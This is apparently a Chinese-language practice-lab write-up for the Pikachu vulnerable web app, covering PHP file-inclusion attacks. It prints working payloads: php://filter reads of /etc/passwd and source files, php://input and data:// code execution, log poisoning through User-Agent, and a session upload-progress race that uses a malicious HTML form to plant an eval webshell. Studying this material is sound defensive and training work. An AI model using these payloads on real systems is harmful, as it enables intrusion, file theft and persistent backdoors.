banner
Hi my new friend!

pikachu_文件包含

Scroll down

文件包含

查看类型

先检查是只有一种还是两种都有(本地文件包含LFI / 远程文件包含RFI)

百盒类型

php环境

include(),require(),include_once(),require_once()

需要在对应的php.ini下设置,这是需要提前设置的

1
2
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

include()远程代码执行,实际上是在本地执行了远程的代码,返回的仍然是本地执行后的内容

JAVA 环境

java.io.file, java.io.filereader

ASP .NET环境

System.IO.FileStream,System.IO.FileReader

黑盒发现

查看路径中是否有path,file,page,p,dir,pag,eng,achieve

是否有文件上传

如果有文件利用就直接利用文件

如果没有文件利用

  1. 包含日志文件利用
  2. 包含session文件利用
  3. 伪协议利用

无文件支持伪协议利用

参考文章 php伪协议 - 看不尽的尘埃 - 博客园 php伪协议 - 看不尽的尘埃 - 博客园

伪协议实现无文件,但是文件读取和代码

image-20250309173449835

文件读取:

1
2
file:///etc/passwd 需要绝对路径
php://filter/read=convert.base64-encode/resource=1.php 相对路径,1.php

文件写入

使用这个filter/write的时候需要后端有对应的代码支持

1
2
?file=php://filter/write=convert.base64-encode/resource=phpinfo.php
对应的post夹带contents=hello world

后端代码如下

1
2
include($_GET[file]);
file_put_contents($_GET[file],$_POST[content]);

也需要有对应的file传参点

1
2
3
4
5
6
?file=php://input 

POST:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

POST:<?php
file_put_contents('shell.php', '<?php @eval($_GET[cmd]); ?>');
1
验证代码 cmd=echo "success"; 一定要加上回车!!!!!!

代码执行

1
2
php://input
POST: <?php phpinfo();?>
1
data://text/plain,<?php phpinfo();?>
1
data://text/plain;base64,’base64加密后的内容‘

日志文件包含 如果php被过滤了且无法绕过

使用包含日志文件利用, 原理是修改UA头改成执行代码,访问日志路径时会被执行

寻找框架,找出默认日志地址

  • nginx默认访问路径地址

    1
    /var/log/nginx/access.log
  • apaceh的日志在类似目录下

    1
    /var/log/httpd/access.log

User-Agent改成

1
2
User-Agent: aaaaaaaa<?php system('ls');?>
User-Agent: aaaaaaaa<?php system('cat fl0g.php');?>

然后再访问access.log就可以得到执行的命令回显

SESSION文件包含

参考文档

session包含 - lnterpreter - 博客园 session包含本地备份

Ctfshow Web入门 - 文件包含总结 - ch0bits - 博客园 本地备份

配置

1
2
3
session.save_path       //session文件存储地址
session.upload_progress.enabled //session文件上传上传
session.upload_progress.cleanup //定时清空文件

信息搜集找到对应框架,发现默认session储存地址

  • phpstudy默认地址

    1
    D:\AppGallery\phpstudy_pro\Extensions\tmp\tmp
  • Windows服务器地址

    1
    C:\\WINDOWS\Temp
  • Linux服务器 linux服务器不分大小写D:\AppGallery\phpstudy_pro\Extensions\tmp\tmp`

    1
    /tmp/session 或者 /var/lib/php/session

原理

在发包中的文件头中嵌入cookie设置senssion可以在本地的session路径下生成session名文件,但是由于session.upload_progress.cleanup的存在,上传的session马上会被删除,但是有确实短暂的在服务器中存在一段时间

故使用条件竞争,想达到上传session之后在被服务器清除之前访问session的文件来执行里面的代码

需要在访问包头中添加Cookie

1
Cookie: PHPSESSID=xiaodi  !!!!注意PHPSESSID书写
  • PHP_SESSION_UPLOAD_PROGRESS 的作用
    当表单中包含 PHP_SESSION_UPLOAD_PROGRESS 字段且 PHP 配置 session.upload_progress.enabled = On 时,PHP 会在文件上传过程中将进度信息写入 Session 文件(默认路径如 /tmp/sess_<PHPSESSID>)。

  • Session 文件包含漏洞
    若服务器存在文件包含漏洞(如 include($_GET['file']);)且能包含 Session 文件(如 /tmp/sess_123),攻击者可通过构造恶意 Session 文件内容,使其被解析为 PHP 代码。

  • 利用链

​ 通过上传表单注入 PHP 代码到 Session 文件。
​ 通过文件包含漏洞触发 Session 文件中的恶意代码。
​ 恶意代码生成 Webshell(shell.php)。

操作

  • 恶意表单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!DOCTYPE html>
    <html>
    <body>
    <form action="http://school-server.us.kg:35565/pikachu/1.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<? php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
    </form>
    </body>
    </html>
  • 触发 Session 文件写入
    提交表单上传文件时,PHP 会生成 Session 文件,内容类似:

    1
    upload_progress_<?php fputs(...); ?>|a:5:{s:10:"start_time";i:1620000000;...}

    此处 upload_progress_ 是 PHP 自动添加的前缀,后面紧跟恶意代码。

  • 利用文件包含漏洞
    假设服务器存在文件包含漏洞(如 include($_GET['file']);),攻击者请求:

    1
    http://target.com/include.php?file=/tmp/sess_123

    当包含 Session 文件时,PHP 会解析文件内容中的 <?php ... ?> 代码。
    恶意代码 fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>') 被执行,生成 Webshell。

  • 实施

    使用burpsuiteintruder功能,一个上传包含恶意表单的去建立session内容,一个访问session的路径

    1
    /tmp/session/sess_xiaozhao

    只要有一次在被清除前访问了这个session就可以执行里面的恶意代码,建立后门文件

其他文章
cover
pikachu_ssrf
  • 25/03/13
  • 00:00
  • 打靶日记
cover
pikachu_rce
  • 25/03/09
  • 00:00
  • 打靶日记
目录导航 置顶
  1. 1. 文件包含
    1. 1.1. 查看类型
      1. 1.1.1. 百盒类型
        1. 1.1.1.1. php环境
        2. 1.1.1.2. JAVA 环境
        3. 1.1.1.3. ASP .NET环境
      2. 1.1.2. 黑盒发现
    2. 1.2. 是否有文件上传
      1. 1.2.1. 无文件支持伪协议利用
      2. 1.2.2. 文件读取:
      3. 1.2.3. 文件写入
      4. 1.2.4. 代码执行
      5. 1.2.5. 日志文件包含 如果php被过滤了且无法绕过
      6. 1.2.6. SESSION文件包含
        1. 1.2.6.1. 配置
        2. 1.2.6.2. 原理
        3. 1.2.6.3. 操作
请输入关键词进行搜索